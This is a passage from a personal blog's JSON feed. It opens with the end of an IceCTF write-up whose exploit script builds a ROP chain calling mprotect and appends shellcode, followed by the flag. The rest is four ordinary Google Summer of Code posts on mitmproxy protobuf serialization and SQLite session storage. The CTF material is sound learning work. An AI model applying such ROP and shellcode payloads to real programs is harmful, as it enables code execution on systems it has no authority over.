p32(mprotect_base + 4) + p32(popeax)\nropchain += p32(stackpage_base - 1) + p32(inceax) + p32(movdpedx)\nropchain += p32(popedx) + p32(mprotect_base + 8) + p32(xoreax)\nropchain += p32(inceax) + p32(movdpedx) + p32(popedx) + p32(mprotect_base + 12)\nropchain += p32(xoreax) + p32(inceax)*7 + p32(movdpedx) + p32(mprotect)\n# mprotect_base + 16 points to the shellcode; we need to ret to it.\n# BBBB*3 will be overwritten at runtime by movdpedx gadgets.\nropchain += p32(mprotect_base + 16) + \u0026#34;BBBB\u0026#34;*3\n\n\npayload = \u0026#34;A\u0026#34;*6394  # Distance between 0xffff0000 - 0x4 and start of USER\npayload += p32(0xffff1004) # address to load into esp + 0x4\npayload += \u0026#39;A\u0026#39;*4096 # JUNK\npayload += ropchain\npayload += shellcode\npayload += \u0026#39;A\u0026#39;*(30000 - len(payload)) # just because I used 30k to compute addresses and experiment.\nprint(payload)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIceCTF{s1ze_matt3rs_n0t}\u003c/p\u003e\n","summary":"How much space do you need to exploit a format string?","date_published":"2018-09-14T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-08-10-summer_of_code/","url":"https://suidpit.sh/posts/2018-08-10-summer_of_code/","title":"GSoC 2018 - Final report","content_html":"\u003ch2 id=\"a-summer-of-code\"\u003eA Summer of Code\u003c/h2\u003e\n\u003cp\u003eHere I write my final report of Google Summer of Code 2018 for mitmproxy, under\nthe Honeynet organization. I\u0026rsquo;ll include pretty much all the work done for\nthe organization, together with the ideas behind every step.\nUse it to get the code, or read about my work and contact me while\nI extend it, to be part of this awesome team :)\u003c/p\u003e\n\u003cp\u003eShortly, my project for these months was to develop a new serialization module\nfor mitmproxy \u003cem\u003eFlows\u003c/em\u003e. This is useful in a number of ways, most of them underlined\nin my GSoC \u003ca href=\"https://summerofcode.withgoogle.com/projects/#5438256557064192\"\u003eproject overview\u003c/a\u003e.\nOne peculiar idea was to exploit this module to implement a Hybrid SQLite DB which\ncould serve as the storage layer for mitmproxy \u0026ndash; not only solving RAM chugging issues,\nbut serving as the foundation to implement persistence in the software, aka\n\u003cstrong\u003eSessions\u003c/strong\u003e.\u003c/p\u003e\n\u003ch3 id=\"testing\"\u003eTesting\u003c/h3\u003e\n\u003cp\u003eBefore spending time and resources to properly implement a serialization interface\nunder Google Protocol Buffers, one crucial point was to test the libraries (protobuf and sqlite), gathering\nsome fact to ensure that \u003cstrong\u003eserializing wouldn\u0026rsquo;t have too much impact on performances\u003c/strong\u003e.\nIn the meantime, it proved to be a good time to learn more about \u003cem\u003easyncio\u003c/em\u003e code\nin Python, which anyway is the approach adopted by mitmproxy since\n\u003ca href=\"https://mitmproxy.org/posts/releases/mitmproxy4/\"\u003erelease 4\u003c/a\u003e.\u003c/p\u003e\n\u003ch4 id=\"pull-requests\"\u003ePull Requests\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3126\"\u003eTest Dumping Performances\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis has been my first PR for GSoC. It included a lot of testing code: a dummy\nserialization interface, and two addons which measured \u003cstrong\u003edumping time in comparison\nwith tnetstrings\u003c/strong\u003e(\u003cem\u003edumpwatcher\u003c/em\u003e), and \u003cstrong\u003ethroughput to SQLite DB when flows are streaming costantly\u003c/strong\u003e(\u003cem\u003estreamtester\u003c/em\u003e).\nI, later in time, adjusted that code - using the new, complete protobuf interface - to\nbe used as a benchmarking script in test folder:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3256\"\u003eProtobuf Benchmarking Script\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis can be used as it is just by running the script, as with every other\nmitmproxy script. It can be modified by tweaking params, or saving path, or\nflow dimensions and fields.\u003c/p\u003e\n\u003ch3 id=\"refactoring-the-view-api\"\u003eRefactoring the View API\u003c/h3\u003e\n\u003cp\u003eBuilding a new storage layer means building a new View. This addon, in fact, handles\nthe logic to implement the ordered, filtered storage every tool (web or console)\noffers in its interface. The View offers an API exposed via commands to the tools,\nbut some of the code still accessed the addon internally. So, I started cleaning\nup the API, extending it, and clearing most of the \u0026ldquo;illegal\u0026rdquo; accesses to the addon.\u003c/p\u003e\n\u003ch4 id=\"pull-requests-1\"\u003ePull Requests\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3202\"\u003eView Cleanup\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe cleanup is not completed yet. It will be a gradual process, involving changes\nin some other area of mitmproxy, to be reworked in conjuction with other devs.\nNevertheless, it was a good start and helped a lot understanding \u003cstrong\u003ehow\u003c/strong\u003e and\n\u003cstrong\u003ewhere\u003c/strong\u003e mitmproxy stores its flows :)\u003c/p\u003e\n\u003ch3 id=\"building-the-protocol-buffer-interface\"\u003eBuilding the Protocol Buffer Interface\u003c/h3\u003e\n\u003cp\u003eHere we go. Serializing flows with protobufs. My idea, during the whole process,\nwas to mirror the functionalities that \u003cem\u003etnetstrings\u003c/em\u003e and \u003cem\u003estate_objects\u003c/em\u003e\noffered, bringing all the logic into: a .proto file, providing a clear format\nfor \u003cem\u003eFlows\u003c/em\u003e, and the protobuf module, where all the conversion code was implemented.\u003c/p\u003e\n\u003ch4 id=\"pull-requests-2\"\u003ePull Requests\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3245\"\u003eShifting to Protocol Buffer Serialization\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe code is merged and can be used by every tool, script or addon interfacing\nwith mitmproxy by importing  \u003ccode\u003emitmproxy.io.protobuf\u003c/code\u003e, calling \u003ccode\u003eprotobuf.dumps\u003c/code\u003e, \u003ccode\u003eprotobuf.loads\u003c/code\u003e\nmethods. Everything should be clear enough reading the code and its usage in the\nthe other PRs which use this interface.\u003c/p\u003e\n\u003ch3 id=\"a-new-storage-layer-for-sessions\"\u003eA New Storage Layer for Sessions\u003c/h3\u003e\n\u003cp\u003eHaving a functioning, fast enough dumping interface handy, I proceeded with building\nthe foundations for Session storage. In particular, I have developed an addon (Session)\nwhich implements the logic to use the Hybrid DB (indexed protobuf blobs of flows)\nas the storage layer for mitmproxy.\u003c/p\u003e\n\u003ch4 id=\"pull-requests-3\"\u003ePull Requests\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3252\"\u003eSession - Hybrid DB\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mitmproxy/mitmproxy/pull/3277\"\u003eSession - Storage Layer\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe two PRs are widely commented, so I\u0026rsquo;ll avoid adding redundancy here.\u003c/p\u003e\n\u003ch3 id=\"the-end\"\u003eThe End\u0026hellip;?\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;m grateful for the GSoC experience. It encouraged me to explore the Open Source\ncommunity, find many amazing developers and persons, while constantly improving\nmy skills and knowledge. I have found an awesome environment in mitmproxy, and while\nthe GSoC period ends, my journey with this organization does not. Enjoy!\u003c/p\u003e\n\u003cp\u003e\u003cem\u003ePietro - madt1m\u003c/em\u003e\u003c/p\u003e\n","summary":"Recap of my experience in the Google Summer of Code with mitmproxy","date_published":"2018-08-10T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-06-07-week3_4-gsoc/","url":"https://suidpit.sh/posts/2018-06-07-week3_4-gsoc/","title":"GSoC week 3....4 - Passing the exam","content_html":"\u003cp\u003eHere we are again. Notice anything unusual in the title? Yeah, you got me. I\ngathered results over results before posting anything, and this means that I\u0026rsquo;ll\ntry to condense here the results of these 10 days.\u003c/p\u003e\n\u003cimg src=\"hooray.jpg\" alt=\"AltText\"\u003e\u003ch2 id=\"benchmarks-benchmarks\"\u003eBenchmarks, benchmarks\u0026hellip;\u003c/h2\u003e\n\u003cp\u003eThe last thing I was testing on was my \u003cem\u003edumpwatcher\u003c/em\u003e addon for mitmproxy.\nThis basically showed how:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eProtobuf serializer class was working great to generate the dumps.\u003c/li\u003e\n\u003cli\u003eIt took an awful lot of time to insert every blob to the SQLite DB.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe idea - \u003cem\u003ehints of mentors inside\u003c/em\u003e - is now to move my testing process from\n\u003cstrong\u003etime\u003c/strong\u003e to \u003cstrong\u003ethroughput\u003c/strong\u003e.\nLet\u0026rsquo;s be honest, trying to measure meaningfully a single dump/write is not\ngoing to take me anywhere - too many variables - and in any case writing each\nflow alone is not the greatest strategy.\u003c/p\u003e\n\u003cimg src=\"greatest.jpg\" alt=\"greatest\"\u003e\u003cp\u003eI decided to move to a different strategy, with a completely different addon.\u003c/p\u003e\n\u003cp\u003eThis time, I will take a unit flow, and generate accordingly a \u003cstrong\u003econstant stream\u003c/strong\u003e\nof flow duplicates, measuring how my system is reacting to this - parameterized and\ntweakable, of course - stress test.\u003c/p\u003e\n\u003cp\u003eAh, and before I forget it. Last time I promised I would\u0026rsquo;ve taken a look to\n\u003ccode\u003easyncio\u003c/code\u003e module, to align to mitmproxy strategy (it recently moved to\n\u003ca href=\"https://mitmproxy.org/posts/releases/mitmproxy4/\"\u003easyncio\u003c/a\u003e) and, to be honest,\ngather some more knowledge. As usually, you can check the code on my repo (listed\nat the end of the page), but I will resume here the hot code:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e        async def stream(self):\n            while True:\n                await self.queue.put(protobuf.dumps(self.flow.get_state()))\n                await asyncio.sleep(self._stream_period)\n\n        async def writer(self):\n            while True:\n                await asyncio.sleep(self._flush_period)\n                count = 1\n                b = await self.queue.get()\n                self.hot_blobs.append(b)\n                while not self.queue.empty() and count \u0026lt; self._flush_rate:\n                    try:\n                        self.hot_blobs.append(self.queue.get_nowait())\n                        count += 1\n                    except asyncio.QueueEmpty:\n                        pass\n                start = time.perf_counter()\n                n = self._fflush()\n                end = time.perf_counter()\n                ctx.log(f\u0026#34;dumps/time ratio: {n} / {end-start} -\u0026gt; {n/(end-start)}\u0026#34;)\n                self.results.append(n / (end - start))\n                self._fflushes += 1\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis is a classic \u003cem\u003eproducer\u0026lt;-\u0026gt;consumer\u003c/em\u003e design, exploiting an \u003ccode\u003easyncio.Queue()\u003c/code\u003e.\nThe \u003ccode\u003estream\u003c/code\u003e method will produce a protobuf blob, put it on the queue,\nand sleep for a given amount of time. Periodically - to improve performance -\nThe \u003ccode\u003ewriter\u003c/code\u003e method wakes up, checks if the Queue is not empty, and if\nso, it takes _\u003cem\u003eup to self.\u003cem\u003eflush_rate flows from the queue\u003c/em\u003e\u003c/em\u003e. This way, I ensure\nthat flows are inserted to SQLite DB in \u003cstrong\u003estocks\u003c/strong\u003e, avoiding the great waste of\ntime occurring with many isolated transactions.\u003c/p\u003e\n\u003cp\u003eLong story short, testing with this, for how rudimentary it could be, showed that\nthe results are acceptable. It is time to move on.\u003c/p\u003e\n\u003ch2 id=\"the-view\"\u003eThe View\u003c/h2\u003e\n\u003cp\u003eThe \u003ca href=\"https://github.com/mitmproxy/mitmproxy/blob/master/mitmproxy/addons/view.py\"\u003eview\u003c/a\u003e\naddon is where I will focus quite the bulk of my work for mitmproxy, during this GSoC.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s examine and point out the major features of the View:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt stores the flows received my mitmproxy in memory (\u003ccode\u003eself._store\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eIt mantains an ordered list (with different possible order keys) of the flow\nwhich are currently displayed to the user (\u003ccode\u003eself._view\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eIt keeps track of the currently focused flow.\u003c/li\u003e\n\u003cli\u003eIt mantains a Settings mapping, which user can use to annotate, or add various\nfields, associated to flows id.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eBut most importantly, the View exposes an API which can be accessed by mitmproxy\ntoolkit, which provides various operations on order keys, flows, settings, filters,\nand a bit more.\nBeing the point of contact between mitmproxy tools, and flows storage, \u003cstrong\u003ethis is\nwhere session storage to DB will be implemented\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eSo, before starting to work on my new \u003ccode\u003eSession\u003c/code\u003e addon, I have to\nclarify - to myself, and to mitmproxy - \u003cem\u003ewhat we expect, and how do we expect it,\u003c/em\u003e\nfrom the View. That is, cleaning and extending the API.\u003c/p\u003e\n\u003cp\u003eAnd that is everything. What I\u0026rsquo;m doing right now is refactoring the API, and extending\nthe current test suite to eradicate all the happy bugs I am injecting right now. Then\nI\u0026rsquo;ll move on cleaning the codebase of all the hacky, not modular accesses to the View.\u003c/p\u003e\n\u003cp\u003eYou can check out the status of my work on View API \u003ca href=\"https://github.com/madt1m/mitmproxy/blob/view-cleanup/mitmproxy/addons/view.py\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eStreamtester addon discussed at the beginning of the post \u003ca href=\"https://github.com/madt1m/mitmproxy/blob/serialization-protobuf/mitmproxy/addons/serialization/streamtester.py\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cimg src=\"bye.jpg\" alt=\"bye\"\u003e\u003cp\u003eEnjoy :)\u003c/p\u003e\n","summary":"Week 3 and 4 of hacking at mitmproxy for the Google Summer of Code","date_published":"2018-06-07T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-05-23-week2-gsoc/","url":"https://suidpit.sh/posts/2018-05-23-week2-gsoc/","title":"GSoC week 2 - The quest for performances","content_html":"\u003cp\u003eHey. This is me again, in the second week of my coding period with Google Summer of\nCode :)\u003c/p\u003e\n\u003cp\u003eTake a seat, and enjoy!\u003c/p\u003e\n\u003ch3 id=\"a-word-to-feelings\"\u003eA word to feelings\u003c/h3\u003e\n\u003cp\u003eFirst of all, I realize how this blog is starting to grow on me. I feel that by\nwriting down the content of the mind\u0026rsquo;s buffer, one has the opportunity to face\nall that possibly unordered content. I will try to serve here content of quality,\nalong with improving the very pleasantness of the portal itself.\u003c/p\u003e\n\u003cp\u003eEnough, let\u0026rsquo;s squeeze the juice.\u003c/p\u003e\n\u003ch3 id=\"the-work-so-far\"\u003eThe work so far\u003c/h3\u003e\n\u003cp\u003eSo, where were we?\u003c/p\u003e\n\u003cp\u003eIn the previous post, \u003ca href=\"/gsoc/2018/05/15/week1-gsoc.html\"\u003egsoc-week1\u003c/a\u003e, I walked\nthrough the development of a mitmproxy addon to measure time of execution of the\nfunction in charge of \u003cem\u003edumping\u003c/em\u003e a flow state into a Protocol Buffer string.\u003c/p\u003e\n\u003cp\u003eSome initial results showed that, actually, moving to protobuf serialization\n\u003cstrong\u003ecould\u003c/strong\u003e have a good impact:\u003c/p\u003e\n\u003cimg src=\"https://user-images.githubusercontent.com/25264901/40028259-2b753208-57de-11e8-8330-080b58700bd3.png\" alt=\"AltText\"\u003e\u003cp\u003eBut hey, dumping to bytes string makes only half of the process. My mentor suggested me\nto extend the performance analysis to include the writing of blob to disk.\u003c/p\u003e\n\u003cp\u003eSo I did.\u003c/p\u003e\n\u003ch2 id=\"0x10--lite-databases-and-stuff\"\u003e0x10-\u0026gt; Lite Databases and stuff\u003c/h2\u003e\n\u003cp\u003eWriting to disk \u003cem\u003ecould\u003c/em\u003e be just easy as a call to one \u003ccode\u003eopen\u003c/code\u003e function,\nplus a few lines of code.\u003c/p\u003e\n\u003cp\u003eStill, in order to make this testing process \u003cstrong\u003emeaningful\u003c/strong\u003e, I want my system to\nbe as possible as it can be to the target I have the task to implement, during this\nsummer. The whole reason behind the serialization revamp, is basically changing\n\u003cstrong\u003ehow mitmproxy stores and retrieves flows\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eIt should be dynamic. Flows should be stored the disk, retrieved by index, ordered\nin bunches, possibly through user-defined filters. And this will happen interactively,\nin a transparent and flexible way. Using file handles just doesn\u0026rsquo;t click.\u003c/p\u003e\n\u003cp\u003eDatabase systems come to the rescue. Using a DBMS, I can easily implement all\nthe functionalities I was listing right before. And since I will just store blobs,\nalong with some utility columns, SQLite seems just the right choice. In particular,\nquoting from \u003ca href=\"http://www.sqlite.org\"\u003esqlite.org\u003c/a\u003e:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSQLite does not compete with client/server databases. SQLite competes with fopen().\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"0x11--a-dummy-schema\"\u003e0x11-\u0026gt; A Dummy Schema\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003e(MID INTEGER PRIMARY KEY, PBUF_BLOB BLOB)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThis is it. I suppose that every piece of work name, in this phase of coding, starts\nwith \u003cem\u003eDummy\u003c/em\u003e. Take it like a contract, an insurance between me and you. Ahead in\nthe road, things should be a bit more complete :)\u003c/p\u003e\n\u003cp\u003eAs you can see, there\u0026rsquo;s not much! The only things I need to build a functioning\nsystem, here, is\u0026hellip;storing the blobs and marking them with a good ol\u0026rsquo; numeric index!\u003c/p\u003e\n\u003ch2 id=\"0x20--verba-volant-ids-manent\"\u003e0x20-\u0026gt; Verba volant, IDs manent\u003c/h2\u003e\n\u003cp\u003eWith the sqlite3 API ready, and a barebone schema, let\u0026rsquo;s connect our storage with\nthe previously implemented \u003ccode\u003eprotobuf\u003c/code\u003e. This is practically how\n\u003ccode\u003edump\u003c/code\u003e and \u003ccode\u003eload\u003c/code\u003e interact with our DB:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003estore\u003c/code\u003e takes a blob, appends the current maximum \u003ccode\u003emid\u003c/code\u003e\nand inserts the tuple into the DB. It returns that mid to the application, which\ncan then use it as a \u003cem\u003eticket\u003c/em\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecollect\u003c/code\u003e takes that ticket mid, which is used to retrieve the blob from the\ndb.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"0x21--transactions-and-how-to-avoid-too-many-of-them\"\u003e0x21-\u0026gt; Transactions, and how to avoid (too many of) them\u003c/h3\u003e\n\u003cp\u003eDumping the same 4 MB body as in before, including DB insert, yields such results:\u003c/p\u003e\n\u003cimg src=\"https://user-images.githubusercontent.com/25264901/40267774-10206fa8-5b63-11e8-86d5-7e481b42a896.png\" alt=\"AltText\"\u003e\u003cp\u003e.05 seconds, for a single flow, is something far from what we should obtain.\u003c/p\u003e\n\u003cp\u003eBut something worth noting: while insertion to DB takes much more time than\ntnetstring dump to file, performances in reading are still superior. That suggests\nsomething concerning how DBMS handles updates to databases: the loss in performances,\nas I pointed out in the GitHub PR discussion, is likely caused by every isolated transaction\ncommit, implicit in \u003ccode\u003ewith sqlite3.connect()\u003c/code\u003e context.\u003c/p\u003e\n\u003ch3 id=\"whats-next\"\u003eWhat\u0026rsquo;s next\u003c/h3\u003e\n\u003cp\u003eThe way I am approaching this \u0026ldquo;testing\u0026rdquo; period is truly helping me shaping ideas\nabout how I will implement all the rest. The next points will be:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImplement lighter INSERTs to disk, grouping many of them in single transactions.\u003c/li\u003e\n\u003cli\u003eExplore asyncio concurrency, to make use of time \u0026ldquo;wasted\u0026rdquo; in disk I/O.\u003c/li\u003e\n\u003cli\u003eImprove what is implemented, fashioning less \u003cem\u003edummy\u003c/em\u003e code.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTil next week! Enjoy :)\u003c/p\u003e\n","summary":"Week 2 of hacking at mitmproxy with the Google Summer of Code","date_published":"2018-05-23T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-05-15-week1-gsoc/","url":"https://suidpit.sh/posts/2018-05-15-week1-gsoc/","title":"GSoC week 1 - Staging","content_html":"\u003cp\u003eHello, folks. PyCharm is fueled, brain is spinning, and I\u0026rsquo;m beginning to really\nset the stage for my coding period at Mitmproxy. In the following weeks, I\u0026rsquo;ve\nworked to refine my proposal, and it\u0026rsquo;s time to put up a show :)\u003c/p\u003e\n\u003ch2 id=\"0x10--a-warm-dive-into-mitmproxy-dumps\"\u003e0x10-\u0026gt; A warm dive into Mitmproxy dumps\u003c/h2\u003e\n\u003cp\u003eSo, let\u0026rsquo;s start with the basics. My job in Mitmproxy, for this summer, is to\nrevamp and overhaul the serialization and indexing flow, following the tide of openness\nand modularity that mitmproxy is riding on. Remember to check my proposal at\n\u003ca href=\"https://summerofcode.withgoogle.com/projects/#5438256557064192\"\u003eGSoC proposal\u003c/a\u003e\nfor more informations about that\u0026hellip;now, let\u0026rsquo;s hack into the io module!\u003c/p\u003e\n\u003ch3 id=\"0x11--basic-units\"\u003e0x11-\u0026gt; Basic units\u003c/h3\u003e\n\u003cp\u003e\u003cem\u003e\u0026quot; in the beginning was the Flow [\u0026hellip;] \u0026ldquo;\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eQuote from the docs:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026quot;\u0026quot;\u0026quot;\n    A Flow is a collection of objects representing a single transaction.\n    This class is usually subclassed for each protocol, e.g. HTTPFlow.\n\u0026quot;\u0026quot;\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhat does this mean? So, say I am connecting to \u003ca href=\"http://www.lolcats.com/\"\u003elolcats\u003c/a\u003e.\nNow, dumping the value of Flow objects, respectively for requests and\nresponse, we get:\u003c/p\u003e\n\u003cp\u003eHTTPFlow on request:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;HTTPFlow\nrequest = Request(GET lolcats.com:80/)\nclient_conn = \u0026lt;ClientConnection: 127.0.0.1:50841\u0026gt;\nserver_conn = \u0026lt;ServerConnection: \u0026lt;no address\u0026gt;\u0026gt;\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSame HTTPFlow, updated on response:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u0026lt;HTTPFlow\nrequest = Request(GET lolcats.com:80/)\nresponse = Response(301 Moved Permanently, text/html, 184b)\nclient_conn = \u0026lt;ClientConnection: 127.0.0.1:50841\u0026gt;\nserver_conn = \u0026lt;ServerConnection: lolcats.com:80\u0026gt;\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eActually, there\u0026rsquo;s a lot more stuff into those objects, and you can find out by\nyourself with a little debugging effort! :)\u003c/p\u003e\n\u003ch3 id=\"0x12--tnetstring-dumps\"\u003e0x12-\u0026gt; tnetstring dumps\u003c/h3\u003e\n\u003cp\u003eSo, let\u0026rsquo;s say I want to replay some requests I forwarded to lolcats. Maybe I need\nto reproduce the exact sequence of requests, since all those cats make a nice\nfigure on my laptop, or whatever.\nMitmproxy currently employs a customized version of\n\u003ca href=\"https://tnetstrings.info/\"\u003etnetstrings\u003c/a\u003e to save its captures. Dumps and loads\nare wrapped by the FlowReader and FlowWriter classes. The former, in particular,\nhandles the conversions between different versions of flows\n(coming from ancient captures) and the current blueprint.\u003c/p\u003e\n\u003cp\u003eA slice of our tnetstring looks like this:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e4:host;11:lolcats.com,}6:marked;5:false!2:id;36:4515de36-9f3f-4d1e-8162-f73e879\nd639c;8:response;578:11:status_code;3:301#6:reason;17:Moved Permanently,\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eGot the structure, eh?\u003c/p\u003e\n\u003ch2 id=\"0x20--moving-to-protobufs-testing\"\u003e0x20-\u0026gt; Moving to protobufs (testing)\u003c/h2\u003e\n\u003cp\u003eWell, that said, let\u0026rsquo;s build the skeleton of the task. Moving to protocol buffers\nrequire some prep work, and the very first thing I need to assure is that the\nchange in performance is good enough to justify the shift.\u003c/p\u003e\n\u003cp\u003eThe testing process will be so conducted: we will test both tnetstrings\nand python protobuf serializer.\u003c/p\u003e\n\u003ch3 id=\"0x21--http-response-format\"\u003e0x21-\u0026gt; HTTP Response format\u003c/h3\u003e\n\u003cp\u003eTo serve our testing purpose, I will use a simple message \u0026ndash;\u0026gt; HTTPResponse.\u003c/p\u003e\n\u003cp\u003eAs I am interested in testing performances, what can \u003cem\u003ereally\u003c/em\u003e drive me tired is\nthe content. How our \u003ccode\u003eprotobuf\u003c/code\u003e algorithm would handle messages of\n4, 10, 50 MB? At this point, I just defined a simple schema:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emessage HTTPResponse {\n\n    message HTTPRequest {\n\n            enum HTTPMethod {\n                GET = 0;\n                PUT = 1;\n                POST = 2;\n            }\n\n            required HTTPMethod method = 1;\n            required string host = 2;\n            optional int32 port = 3;\n            optional string path = 4;\n    }\n\n    required HTTPRequest request = 1;\n    required int32 status_code = 2;\n    optional bytes content = 3;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eEach HTTPResponse simply contains an HTTPRequest, a content, and other fields.\nThis is just to test protocol buffer, so I called this message \u0026ldquo;dummy_http\u0026rdquo;.\u003c/p\u003e\n\u003ch3 id=\"0x22--protobuf-implementation\"\u003e0x22-\u0026gt; Protobuf implementation\u003c/h3\u003e\n\u003cp\u003eNext thing, I had to generate the \u003cem\u003emetaclass generator\u003c/em\u003e code for protobuf, which\nis unique to the python implementation. More at:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://developers.google.com/protocol-buffers/docs/pythontutorial\"\u003ehttps://developers.google.com/protocol-buffers/docs/pythontutorial\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSo, at this point, to finish my \u003cem\u003edummy\u003c/em\u003e protobuf module, I only needed to define\na \u003ccode\u003edumps\u003c/code\u003e and \u003ccode\u003eloads\u003c/code\u003e, so to start comparisons with\nthe current \u003ccode\u003etnetstring\u003c/code\u003e module. The code is really simple there, you\ncan just find out by yourself looking at my repo (I\u0026rsquo;ll post the link at the end\nof the post).\u003c/p\u003e\n\u003ch2 id=\"0x30--dumpwatcher-addon\"\u003e0x30-\u0026gt; DumpWatcher Addon\u003c/h2\u003e\n\u003cp\u003eEverything is set to begin the test: a message definition is there, together\nwith some piece of code to extract \u003ccode\u003eflow.get_state()\u003c/code\u003e dictionary into\na suitable structure.\u003c/p\u003e\n\u003cp\u003eThe DumpWatcher addon I developed to test code, does basically this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWhen the proxy is running, it invokes \u003ccode\u003erunning()\u003c/code\u003e event on every\naddon; at that point, DumpWatcher applies a \u003ccode\u003ewatcher\u003c/code\u003e decorator to\nevery \u003ccode\u003edumps\u003c/code\u003e and \u003ccode\u003eloads\u003c/code\u003e function, of every imported\nserialization module.\u003c/li\u003e\n\u003cli\u003eWhen a response is received by the proxy, the specific \u003ccode\u003eresponse()\u003c/code\u003e\nevent is invoked, passing the flow to the addon. At that point, if the switch\noption has been set to \u003ccode\u003etrue\u003c/code\u003e by the user, it runs dumps and loads\nto the flow.\u003c/li\u003e\n\u003cli\u003eEvery decorated function perform its deeds, and prints to event log performance\ninformations! (time, size of blob)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is obviously a beta implementation, it still needs many commodities and\nfeatures \u0026ndash; and I still have to put SQLiteDB inside that mess \u0026ndash; yet this is\na good way to inspect how the protobuf python implementation performs with our\nobjects!\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s all, fellows! I\u0026rsquo;ll be posting more as soon there\u0026rsquo;s more on my workspace :)\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/madt1m/mitmproxy/tree/serialization-protobuf/mitmproxy/addons/serialization\"\u003eCODE DISCUSSED\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"til-next-time\"\u003eTil next time!\u003c/h4\u003e\n","summary":"Week 1 of hacking at mitmproxy with the Google Summer of Code","date_published":"2018-05-15T12:30:00+01:00"}]}